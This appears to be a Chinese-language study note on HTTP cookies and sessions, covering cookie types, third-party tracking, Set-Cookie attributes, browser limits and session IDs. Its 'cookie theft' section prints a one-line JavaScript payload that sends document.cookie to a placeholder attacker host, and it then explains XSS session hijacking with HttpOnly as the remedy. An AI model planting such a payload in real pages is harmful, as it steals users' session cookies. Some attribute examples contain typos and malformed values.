cookie
history
cookie最初是由网景公司开发的,现在所有主要的浏览器都支持它.
type
cookie分为两种:会话cookie和持久cookie.
会话cookie是一种临时的cookie,它记录用户的访问站点的设置偏好.用户在退出浏览器就会被删除.
持久cookie是存储在硬盘上的,通常用持久cookie维护用户周期性访问的站点的配置文件或用户名.
会话cookie和持久cookie的区别在于有没有过期时间,没有过期时间就是会话cookie.
cookie罐
cookie的基本思想是让浏览器积累一组服务器特有的信息,每次访问这个服务器时都将信息提供给它.
浏览器负责存储cookie信息,所以这系统称为客户端侧状态(client-side state).
此cookie的正是规范名称为HTTP状态管理机制(HTTP state management mechanism).
站点使用不同的cookie
很多web站点都会与第三方厂商达成协议,由其来管理广告.用户在访问多个由相同广告公司提供服务的站点时.(由于域名是匹配)浏览器就会回送设置好的持久cookie. 营销公司可以将此技术与Referer首部结合, 暗里构建用户文档收集用户习惯.
第三方cookie
当你访问A网站时,a服务器设置B网站的cookie,当你访问B网站时,客户端就把cookie发给b服务器,b服务器就收到了cookie.做相应的处理.
cookie版本0属性
在服务器上可以在响应的首部加Set-cookie的属性控制哪些站点可以使用cookie.
Set-cookie: user=”mary”; expires=”Manday, 01-01-1999 01-01-01″; pref=password; path=/secure/; secure domain=”xxx.com”
NAME=VALUE:强制,键值
expires: 过期时间(Weekday, DD-MM-YY HH:MM:SS GMT)
path: 路径
secure: 在https时发送
cookie版本1新增属性
Version: 强制,使用cookie的版本
Comment: 告诉客户端如何使用
CommentURL: 指向详细描述这cookie目的和策略的文档
Discard:客户端在程序终止时,放弃这个cookie
Max-Age:以秒单位,设置cookie的过期时间
port:端口号
会话跟踪
在用户访问站点进行多项事务可用cookie进行对用户的跟踪.在用户访问站点时,就会启动事务链,在web服务器会使用重定向,URL重写以及cookie设置.
a-客户端打开xxx.com网页
b-服务器将客户端重定向到其他URL上(Location: http://www.xxx.com/redirect.html)
c-客户端向重定向的URL发请求
d-服务端响应上送出两个会话cookie,将用户重定向到另一个URL(Location: http://www.xxx.com/redirect.html/cookie[key])
e-客户端向重定向的URL发请求,并把cookie附加在请求
f-服务器收到请求,在送两个cookie,在重定向(Location: http://www.xxx.com/end.html)
g-客户端向重定向的URL发请求,并附上所有的cookie
h-服务器回送内容
(来自于amazon.com栗子)
cache
可以在请求头注明cookie不可缓存
Cache-Control: no-cache='Set-Cookie'
Max Length
IE6及更低版本限制每个域名最多20个cookie
IE7和之后版本每个域名最多50个。IE7最初是支持每个域名最大20个cookie,之后被微软的一个补丁所更新
Firefox限制每个域最多50个cookie
Opera限制每个域最多30个cookie
Safari和Chrome对于每个域的cookie数量限制没有硬性规定
cookie窃取
攻击者 => a 被攻击者 => b
a服务器的文件 => http://xxx.com/xxx.php
a只要在b的服务器上加一行代码,就能获取用户在b网站的cookie
location.href='http://xxx.com/xxx.php?cookie=' + document.cookie
short
缺点是不太安全,敏感信息最好别用cookie存储
session
session是一个抽象概念,服务端需要记录用户的状态时,就需要用某种机制来识具体的用户,这机制就是session机制.服务端session的数据结构,用来跟踪用户的状态,这个数据可以保存在集群、数据库、文件(服务器) .
实现
第一次创建Session的时候,服务端会在HTTP协议中告诉客户端,需要在 Cookie 里面记录一个Session ID,以后每次请求把这个会话ID发送到服务器.
每次HTTP请求的时候,客户端都会发送相应的Cookie信息到服务端.
XSS劫持
跨站脚本攻击(Cross Site Script为了区别于CSS简称为XSS)指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。
服务器生成的用以标识客户信息的cookie一般被称为sessionId,而通过一些手段获取其它用户sessionId的攻击就叫session劫持
set-cookie设置一个HttpOnly搞掂了